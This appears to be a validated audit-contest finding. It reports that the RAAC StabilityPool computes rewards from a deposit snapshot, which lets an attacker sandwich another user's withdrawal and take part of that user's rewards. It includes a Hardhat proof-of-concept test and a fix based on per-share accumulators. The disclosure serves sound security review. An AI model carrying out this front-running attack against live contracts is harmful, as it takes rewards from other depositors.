Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

`StabilityPool`'s reward manipulation through deposit/withdraw sandwich attack can lead to loss of rewards for other users

Summary

The StabilityPool contract's reward distribution mechanism is vulnerable to sandwich attacks, allowing attackers to steal RAAC rewards from legitimate users through deposit/withdrawal manipulation.

Vulnerability Details

The vulnerability exists in the StabilityPool::calculateRaacRewards() function where rewards are calculated based on the current snapshot of deposits rather than accumulated rewards over time:

function calculateRaacRewards(address user) public view returns (uint256) {
@> uint256 userDeposit = userDeposits[user];
@> uint256 totalDeposits = deToken.totalSupply();
uint256 totalRewards = raacToken.balanceOf(address(this));
if (totalDeposits < 1e6) return 0;
@> return (totalRewards * userDeposit) / totalDeposits;
}

The calculation only considers the current state of deposits and total rewards, ignoring the duration of user deposits. This allows an attacker to:

  1. Monitor pending withdrawal transactions

  2. Front-run with a large deposit

  3. Capture a share of accumulated rewards

  4. Back-run by withdrawing immediately

Impact

The vulnerability has severe economic impact:

  • Users lose rightfully earned RAAC rewards to attackers

  • Early depositors are disincentivized as their rewards can be stolen

  • Protocol's reward distribution becomes unfair and manipulatable

  • MEV bots can continuously exploit this for profit

For example, if User A deposits 100 tokens for 2 hours earning 200 RAAC, an attacker can front-run their withdrawal with a 100 token deposit and steal 100 RAAC (50% of rewards) despite having funds in the pool for mere seconds.

Tools Used

Manual review

Proof of Concept

Add the following test case to the test/e2e/protocols-tests.js file:

describe("StabilityPool", function() {
// ... other test ...
it('reward theft through sandwich attack', async function () {
await contracts.stabilityPool.connect(user1).deposit(STABILITY_DEPOSIT);
// Balances before rewards
const user1BalanceBefore = await contracts.raacToken.balanceOf(user1.address);
const user2BalanceBefore = await contracts.raacToken.balanceOf(user2.address);
const user1raacRewards = await contracts.stabilityPool.calculateRaacRewards(user1);
const user2raacRewards = await contracts.stabilityPool.calculateRaacRewards(user2);
// User1 has accumulated rewards
expect(user1raacRewards).to.be.gt(0);
// User2 has no rewards
expect(user2raacRewards).to.be.equal(0);
// User1 sends transaction withdraw to claim rewards into mem pool
// User2 attacks, gets RTokens and then deposits them into the stability pool
await contracts.crvUSD.connect(user2).approve(contracts.lendingPool.target, STABILITY_DEPOSIT);
await contracts.lendingPool.connect(user2).deposit(STABILITY_DEPOSIT);
await contracts.rToken.connect(user2).approve(contracts.stabilityPool.target, STABILITY_DEPOSIT);
await contracts.stabilityPool.connect(user2).deposit(STABILITY_DEPOSIT);
// User1 withdraw tx executes
await contracts.stabilityPool.connect(user1).withdraw(STABILITY_DEPOSIT);
// User2 withdraws
await contracts.stabilityPool.connect(user2).withdraw(STABILITY_DEPOSIT);
await contracts.lendingPool.connect(user2).withdraw(STABILITY_DEPOSIT);
// Balances after rewards
const user1BalanceAfter = await contracts.raacToken.balanceOf(user1.address);
const user2BalanceAfter = await contracts.raacToken.balanceOf(user2.address);
// User1 received less rewards than expected
expect(user1BalanceAfter).to.be.lt(user1BalanceBefore + user1raacRewards);
// User2 received more rewards than expected
expect(user2BalanceAfter).to.be.gt(user2BalanceBefore + user2raacRewards);
});
});

Recommendations

Implement an accumulated rewards per share mechanism:

  1. Track a global accumulator that increases as rewards are added

  2. Store user's last-seen accumulator value when they deposit

  3. Calculate rewards based on the difference in accumulator values

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.